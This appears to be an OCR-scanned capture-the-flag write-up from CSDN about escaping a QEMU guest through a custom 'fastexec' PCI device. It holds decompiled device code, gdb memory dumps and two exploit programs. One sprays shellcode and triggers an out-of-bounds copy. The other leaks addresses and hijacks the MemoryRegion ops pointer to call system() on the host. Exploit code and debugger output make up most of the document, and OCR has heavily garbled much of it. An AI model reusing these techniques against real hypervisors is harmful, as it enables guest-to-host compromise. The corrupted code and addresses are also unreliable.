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Arch: amd64-64-1ittle
RELRO:

Stack:

NX:

PIE:

FORTIFY:

libgobject-2.8.50.0 == flibfx86_64-linux-gnuflibgobject-2.0;50.0 (ox00
libglib-2.08.50.0 => flib/x86 64-linux-gnu/libglib-2.0.s50.0 (G@x00007ff1

libz.so.1 == flib/x86_64-1linux-gnu/libz.so.1 (0x00007ff14f3a6000)
libpixman-1.50.0 => flib/x86 64-linux-gnu/libpixman-1.s0.0 (@x00007ff1
libutil.so.1 == [lib/x86 64-linux-gnu/libutil.so.1 (0xeeAe7ffl4f2fanon
libnuma.so.1 == [lib/x86 64-linux-gnu/libnuma.so.1 (0xee@e7ffl4f2ebooon
libjpeg.s0.62 => not found

librt.so.1 => [flib/x86 64-linux-gnu/librt.so.1 (0xe0087ff147f2e0000)
libm.so.6 == flib/x86_64-1linux-gnu/libm.so.6 (0x00007ff14f191000)
libgcc s.so0.1 == /lib/x86 64-1linux-gnu/libgcc s.so.1 (@xPeEE7fT14f1760
libpthread.so.8 => flib/x86 64-linux-gnu/libpthread.so.0 (0x@0007ff14f
libc.so.6 == flib/x86_64-1linux-gnu/libc.so.6 (Ox00E07ff14ef5f000)
libgmodule-2.0.50.8 => flib/x86 64-linux-gnu/libgmodule-2.0.s50.8 (0x00
libdl.so0.2 == [lib/x86_64-linux-gnu/libdl.so.2 (8x@80007ff14ef53000)
libmount.so.1 == flib/x86_64-1linux-gnu/libmount.so.1 (OxA0807ff14eef30
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.s0.1 (Ax00007ffl4e
libresolv.so0.2 => }11’.b}x36_64-li.nux-gnu}li_bregolv.5:5’."?Dal‘a:a't%"é"@é'ﬂ{.}‘i@éba
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L ob}ect:class:d;namic:cast:assertE i T -

al,

(const char *)&dev,

"/root/qemu/hw/misc/fastexec.c”,

149,

"fastexec_class_init™);
LODWORD(v=[2].object_cast cache[8]) = ex43904399;
BYTE4(v3[2].0bject_cast _cache[®]) = 16;
vi[1].unparent = (ObjectUnparent *)pci_fastexec_realize;
v3[1].properties = (GHashTable *)pci_fastexec_uninit;
HIWORD(v3[2].object_cast_cache[®]) = 255;
v2[1].type = (Type)({unsigned  int&4)w2[1l].type | @xE8@);

b
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#lid

MOold _ tastcall pcl Tastexec_reallze(PLLIUevVice ¥ Tpdev, Error_@ ~Terrp)

Object_@ *v2; // rbp

v2 = object_dynamic_cast_assert(
&pdev-rqdev.parent_obj,
"fastewec"”,
"/root/qemu/hw/misc/fastexec.c”,
121,
"pci_fastexec_realize™);
pdev-»config[61] = 1;
if ( !'msi_init(pdev, @, lu, 1, 8, errp) )
1
memory_region_init_ic(
(MemoryRegion_@ *)&v2[57].free,
v2,
&fastexec_mmic_ops,
v2,
"fastexec-mmio",
(uinte4 t)&stru_100000);
pci_register_bar(pdev, @, 8, (MemoryRegion_@ *)&v2[57].free);
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{BIEE8| #» |ltruct FastexecState l
{

Ge@a|  @8F8|  PCIDevice_@ pdev;
@8Fe| @ere| MemoryRegion @ mmio;
B9E@| @885 uinted_t execed;
BOEZ| 2ess uinte4 t offset;
@9Fe| @ee8s uinted t size;

@9F3| 2ees uinte4 t paddr;

BABae 18ea8a char buf[1848576];
108508 };

[ @ | ®E |
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fastexec_mmio_read

uinte4 t _ fastcall fastexec_mmioc_read(FastexecState *opaque, hwaddr addr, unsigned int size)

if ( addr == 8 )
return cpaque-»offset;
if ( addr <=8 )

if ( laddr )
return opague-rexeced;

b

else

if ( addr == &x18 )
return opaque->size;

if ( addr == 8x18 )
return opaque->paddr;

}

return -1LL;
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fastexec_mmio_write

woid _ fastcall fastexec_mmio write(FastexecState *opaque, hwaddr addr, uint64 t wval, unsigned int size)
ai

L
2
il if ( size == 8 )
]
2

if ( addr == &x1e )
{

opaque-»size = val;
else if ( addr <= @éx1@é )

if ( addr == 8 )
opaque-xoffset = val;

1
else if ( addr == 24 )
{

opaque-rpaddr = val;

R . L e T

1
else if ( addr == @x28 && val == BxF62D &R !cpague-execed )
{
cpu_physical memory rw(cpagque-:paddr, &cpaque->buf[opaque-»offset], cpagque-»size, 8);
opaque-rexeced = 1LL;
ks
}

} CSDN @yongbaoi
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J _
ObjectClass_@ *v3; //
= object_class_dynamic_cast_assert(al, "device", "/root/qemu/hw/m
= object_class_dynamic_cast_assert(
¥
(const char *)&dev,
"/root/qemu/hw/misc/fastexec.c”,
149,
"fastexec_class_init");

LODWORD(v3[2].cbject_cast_cache[8]) = Bx43994399;
BYTE4(v3[2].cbject_cast_cache[R@]) = 16;

[1].unparent = (CbjectUnparent *)pci fastexec_realize;

[1].properties = (GHashTable *)pci fastexec_uninit;
HIWORD(v3[2].object_cast_cache[@]) = 255;

[1].type = (Type)((unsigned  inte4)vi[1l].type | ©x8@);

00:81.0 Class
00:84.0 Class
00:80.0 Class

0601: 8OB6:7000
00ff: 4399:4399
0600: 8086:1237

error
/ # cat [sys/devices/pcifoee)\:00,/0000\:00\:04.0/resource

Ox00000000Teafoooe
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000

Z F|mmio

B

BB UK, BMARMBERRBRA, RIMNMEERASTCCHEIR, 5 LshellcodeBl ]

Ox8

Ox00000000fFeafffff
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
0x0000000000000000

0x9090909090909090

Bxdfe
Ox0

—»

OxfFrffffffffffffff
Ox564ecf962d20 (fastexec mmio_ops) —»
4+ Ox9090909020909090

Bxdfe
Ox8

Ox0000000000040200
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Oxﬂﬂﬂﬂpl @%ﬂ
Ox0000000000

<+ 0x9090902090909090

0x9090209090909090

Ox564ecf@dcdl3
l

Ox564ecf@dcdze

Ox564ecf@dcd24

—»

< cmp

<fastexec_mmio _wri e+3>

<fastexec_mmio_write’ 16>
<fastexec_mmio write+.9=>




Ox564ecf0dcd28 <fastexec _mmio write+24>
Ox564ecfOdcd2c <fastexec _mmio write+28>

Ox564ecfOdcd2e <fastexec _mmio write+30>

Ox564ecf0dcd32 <fastexec _mmio write+34>
l

Ox564ecfOdcdbd <fastexec mmio write+160=>

i

Ox564eceflefad4 <memory regilon write accessor+132=

Ox7f8295067000

Ox7782a3e00000

Ox7f82e3fffOOO

Ox7782e4021000

Ox7782e8801000

Ox7f82e8a01000

Ox7782e8e00000

Ox7f82e9040000

Ox7f82e9210000

Ox7782ea400000

>
>
>
>
+ 0x0

< Ox7f00000

Ox7f8298000000

Ox7f82a3e01000

Ox7T82e4000000

Ox7f82e8000000

Ox7f82e8802000

Ox7f82eB8a02000

Ox7f82eB8e01000

Ox7f82e9041000

Ox7f82e9211000

Ox7f82ea401000

-+ 0x0

< 0xbl21e82a6444f700

—»

299000

1000

1000

3fdroqo

1000

1000

1000

1000

1000
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[anon_7f8295067 ]
[anon_7f82a3e060]
[anon_7f82e3fff]
[anon_7f82e4021]
[anon_7f82e8861]
[anon_7f82e8a061]
[anon_7f82e8e00]
[anon_7f82e9040]

[anon_7f82e9210]

[anon_7f82ea400]
CSDN @yongbaoii
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mmio_addr = Oxfead00009;
mmio_size 0x100000;
phy_userbuf;

char* userbuf;




unsigned char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);

void* mem_map( const char* dev, size t offset, size t size )

{
int fd open( dev, O RDWR | O _SYNC );
if ( fd 1) {

return 0;

void* result mmap( NULL, size, PROT_READ PROT_WRITE, MAP_SHARED, fd, offset );

if ( !result ) {

return 0;

close( fd );

return result;

void mmio_write(uint64_t addr, uint64_t value)

{

( (uint64_t *) (mmio_mem+addr) ) value;

PAGE_SHIFT 12

PAGE_SIZE (1 PAGE_SHIFT)
PFN_PRESENT (1ull E))
PFN_PFN ((1ull 55) - 1)

uint32_t page offset(uint32_t addr)

i
return addr ((1 PAGE_SHIFT) 1);

uinté64_t gva_to_gfn(void *addr)
{

uint64_t pme, gfn;

size_t offset;

int fd = open( > O_RDONLY);
if (fd < @) {
die( E
b
offset ((uintptr_t)addr 9)
lseek(fd, offset, SEEK SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn pme PFN_PFN;
return gfn;




uint64_t gfn gva_to_gfn(addr);
assert(gfn 1);
return (gfn PAGE_SHIFT) page offset((uint64_t)addr);

void write size(uint64 _t val) {

mmio write(0x10, val);

void write offset(uint64_t val) {

mmio write(8, val);

void write_paddr(uint64_t val) {

mmio_write(0x16, val);

void only write() {

mmio_write(@x20, OxF62D);

int main(int argc, char const *argv[])

{

system( );
mmio_mem = mem_map( , mmio_addr, mmio_size );
if ( !mmio_mem ) {

die(

userbuf mmap (0@, ©x1000, PROT_READ PROT_WRITE, MAP_SHARED MAP_ANONYMOUS,
if (userbuf MAP_FAILED) {
die( )E

mlock(userbuf, 0x1000);

phy_userbuf = gva_to_gpa(userbuf);

printf( , userbuf);
printf( , phy_userbuf);

unsigned char * nop = malloc(0x1000);
unsigned char *shellcode

]

memset (nop, ,OXFEA);
for(int i = @; 1<255*%20 ; i++)
{

memcpy (userbuf+i*@x1000,nop,0xe30) ;

memcpy (userbuf+OxFEA+1*0x1000, shellcode,22);
s
getchar();
write offset(0x1000);
write size(0x100000000) ;
write_paddr(phy_userbuf);
only write();

return 9;

1, 0);
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{RIEE8| #» |ltruct FastexecState
{

@eae @8F8| PCIDevice @ pdev;

@aFe| @ere| MemoryRegion_@ mmio;

pora| @203  uint64 t execed; \

@9EZ| 2e8s3| uinte4 t offset;

@a9Fe| @ee8s uinted t size;

@9F3| eess| uinte4 t paddr;

BABE| 160000

le@eaa char buf[1848576];
1
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wEE
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@028
8@29
@24
8828
@@82C
882D
@@2E
B82F
Pa3e
8831
2838
8848
@48
/@58
P53
ETeats)
/a78
P73
D @a8a
) P83
B89
PaBA
PaEE
BBEC
/@98
2893
L)
POAS
PEES
PaCs
8e0s
PaEe
BRES

| W]

#al

ea2a
aaal
aaal
aaal
aaal
aaal
aaal
aaal
aaal
aaal
aaal
Baas
Bead
Baas
Bead
Baas
eale
Bead
Baas
Bead
aaal
aaal
aaal
aaal
aaal
Bead
Baas
aaad
aale
eale
aale
Bead
aaad
Bead
Bare

truct MemoryRegicn

1

Object_@ parent_obj;

bool romd_mode;

bool ram;

bool subpage;

bool readenly;

bool nonvolatile;

beol rom_device;

bool flush_coalesced_mmic;

bool glebal locking;

uint8_t dirty_log mask;

bool is_iommu;

RAMBlock @ *ram_block;

Object_@ *owner;

const MemoryRegionOps_@ *ops;

wvold *opaque;

MemoryRegion_@ *container;

Intl28 size;

hwaddr addr;

void (*destructor)(MemoryRegion_@& *);
uinte4 t align;

bool terminates;

bool ram_device;

bool enabled;

beol warning printed;

uint8_t wga_logging_ count;
MemoryRegion_@ *alias;

hwaddr alias_offset;

int32_t prierity;
$EFDS1E29FFEGDFE51QEABB2E981406822 subregions;
$92317EEGBCEFFD31BD3A60DRL3158A45 subregions_link;
3911E66CEABDAETBAGADBIBEGERSCDEAS coalesced;
const char *name;

unsigned int iocewventfd_nb;
MemoryRegionIceventfd @ *ioeventfds;

[ | ®mwH
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ijOGQx Ox7f1c22042010

Ox000055eae6c@acso
Ox0006855eae78TCc580
Ox000055eae6c409e0
Ox000055eae7902600
Ox0B0B55eaebad4fe3n
Ox0B0B55eaeb6dads550
Ox0000000000000000
axffffffffooeanoes
Ox0000000000000000
Ox000055eae7902c90
OxP00055eae7902eb0
Ox000055eae79030d0
Oxe0007f1c22042010
CEGELEYELEYE Y EL N
0x0000000000000000
0x0000000000000000
0x0000000000000000
Ox00000000feca®EOOn
0x0000000000000000
OxPOOO55eae6ad1300
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0(0000000000000000

g EIBLREt FE bk, XA RERS

Bx00007f1c24811F70
Bx0000000000000009
Bx0000000000000000
Bx0000000000000001
Bx0000000000000000
Bx0000000000000000
Bx0000000000000000
Bx0000000000000000
Bx0000000000000000
Ox000055eae7902dad
0x000055eae7902fcO
Ax000000ARAROAAA2A
Ax000000ARAROAAAAT
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000ARAA10000A
Ax00007f1c22042900
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
Ax000000AROROAAANA
0x000000000000@ﬂ6@l
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bvafe
OAODOD Seae78fco640
Ox00007f1c22042010
Ox0000000000000000
Ox00007f1c22042010
Ox00007f1c22042010
Ox0000000000100000
0x00000000Tea00000
0x0000000000000000
0x0000000000000000
0x0000000000000001
0x0000711c220429a8
0x000055eae6ad13a8

AUEFCEHRT

00eAEAEAAEREOAA
Xx0000000000000001
0x0100000000000001
0x0000000000000000
0x0000855e 62d20
Ix000O55ea 1300

00eAEAEAAEREOAA
1x0OAA55eae531bd4e
0x0000000000010001
0x0000000000000000
Ix0000000000000000

0087f1c221a8920 CSDN

0&0909090900909090

*(MemoryReglon*)0(?f??c44ff900

parent_obj = {

class =
free = .

properties = 0x561lea738c640Python Exception <class

ref =1,

E)

'gdb.error'= There is no me




parent =
1.
romd mode = true,
ram = false,
subpage = false,
readonly = false,
nonvolatile = false,
rom_device = false,
flush_coalesced _mmio = false,
global locking = true,
dirty log mask = @ '\eee',
is_iommu = false,
ram_block = ,
owner =
ops =
opaque =
container =
size = 1048576,
addr = 4271898624,
destructor = <memory_r
align = 0,
terminates = true,
ram_device = false,
enabled = true,
warning_printed = false,
vga_logging_count = 6 '\@ea8’',
alias = ,
alias_offset = 0,
priority = 1,
subregions = {
tgh_first =
tgh_circ = {
tql_next =
tql_prev =
}
1,
subregions_link = {
tge_next =
tge_circ =
tql_next
tql_prewv
}
1,
coalesced = {
tgh_first =
tgh_circ = {
tql next =




T REETK

| Juag _ J 5 L = I_
dirty log mask = @ '\eee',
is_iommu = false,
ram_block = .
owner =
ops =
opaque =
container =
size = 1048576,
addr = 4271898624,
destructor = <memory_regilos
align = 0,
terminates = true,
ram_device = false,
enabled = true,
warning printed = false,
vga logging count = @ '\@aa',
alias = ,
alias_offset = 0,
priority = 1,
subregions = {
tgh_first =
tgh_circ = {
tql_next =
tql_prev =
}
1,
subregions_link = {
tge_next =
tge_circ =
tql_next
tql_prewv
}
1,

coalesced

"fastexec-mmio",
ioeventfd_nb e,
ioceventfds =

tele 0x56leadf62d20
rio 0x56leadf62d20 (fastexec_mmio_ops) —»

Ox561ead4f62d28 (fastexec_mmio_ops+8) —»
Ox561ead4f62d30 (fastexec_mmio_ops+16) <« 0x0
2 skipped
Ox561ead4f62d48 (fastexec_mmio_ops+40) <« 0Ox800000008
Ox561ead4f62d50 (fastexec_mmio_ops+48) <« 0x0
0x561ead4f62d58 (fastexec_mmio_ops+56) < Ox0 CSDN @yongbaoii
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mmio_addr Oxfead0ooo;
mmio_size 0x100000;
phy_userbuf;

char* userbuf;

char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);

void* mem_map( const char* dev, size t offset, size t size )
{
int fd open( dev, O _RDWR | O_SYNC );
if ( fd 1) {
return 0;

void* result = mmap( NULL, size, PROT_READ | PROT WRITE, MAP_SHARED, fd, offset );

if ( !result ) {

return 0;

close( fd );

return result;

uint64 _t mmio_read(uint64_t addr)
{

return *((uint8_ t*) (mmio_mem+addr));

void mmio write(uint64_t addr, uint64_t value)

{

( (uint64_t *) (mmio_mem+addr) ) value;

PAGE_SHIFT 12

PAGE_SIZE (1 PAGE_SHIFT)
PFN_PRESENT (1ull 63)
PFN_PFN ((1ull 55) - 1)

uint32_t page_offset(uint32_t addr)
{
return addr ((1 PAGE_SHIFT) 1);




uint64_t gva_to_gfn(void *addr)
{

uint64_t pme, gfn;

size_t offset;

int fd = open( , O_RDONLY);
if (fd < @) {
die( )
b
offset ((uintptr_t)addr 9) 75
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn pme PFN_PFN;
return gfn;

uint64_t gva_to_gpa(void *addr)
{
uintée4_t gfn = gva_to_gfn(addr);
assert(gfn 1);
return (gfn PAGE_SHIFT) page offset((uinté64 t)addr);

uint64_t read_execed() {

return mmio_read(0);

uint64_t read_offset() {

return mmio_read(8);

uint64_t read_size() {

return mmio_read(0x10);

uint64_t read _paddr() {

return mmio_read(0x18);

void write size(uint64_t val) {

mmio write(0x10, val);

void write offset(uint64 _t val) {

mmio write(8, val);

void write_paddr(uint64_t val) {

mmio_write(0x18, val);

void only write() {
mmio_write(@x20, OxF62D);




int main(int argc, char const
{
system(
mmio_mem
if (

mem_map (
mmio_mem ) {
die(

userbuf
if (userbuf
die(

mlock(userbuf, 0x1000);
phy_userbuf
printf(
printf(

userbuf[0] 5
userbuf[1] 5
write_offset(-0xc0);
write_paddr(phy_userbuf);
write size(2);
only write();
size_t elf base
size_t struct_addr
size_t system_addr
printf(

printf(

printf(

(uint64_t)userbuf[9]
(uint64_t)userbuf[1]
(uint64_t)userbuf[2]
(char *)(userbuf + 0x18)
write offset(-0x18);
write_paddr(phy_userbuf);
write size(0x22);

only write();

read_execed();

return 0;

mmap (@, ©x1008, PROT_READ
MAP_FAILED) {

read_size()
read_offset();
elf base
,elf base);

struct_addr
struct_addr

argv[])

)§

, mmio_addr, mmio_size );

PROT_WRITE, MAP_SHARED

)§

gva_to_gpa(userbuf);

, userbuf);

, phy_userbuf);

0xd62d20;
0x2C2180;
,elf base);

,system_addr);

0x948;
0x950;

system_addr;

MAP_ANONYMOUS,

1, 0);
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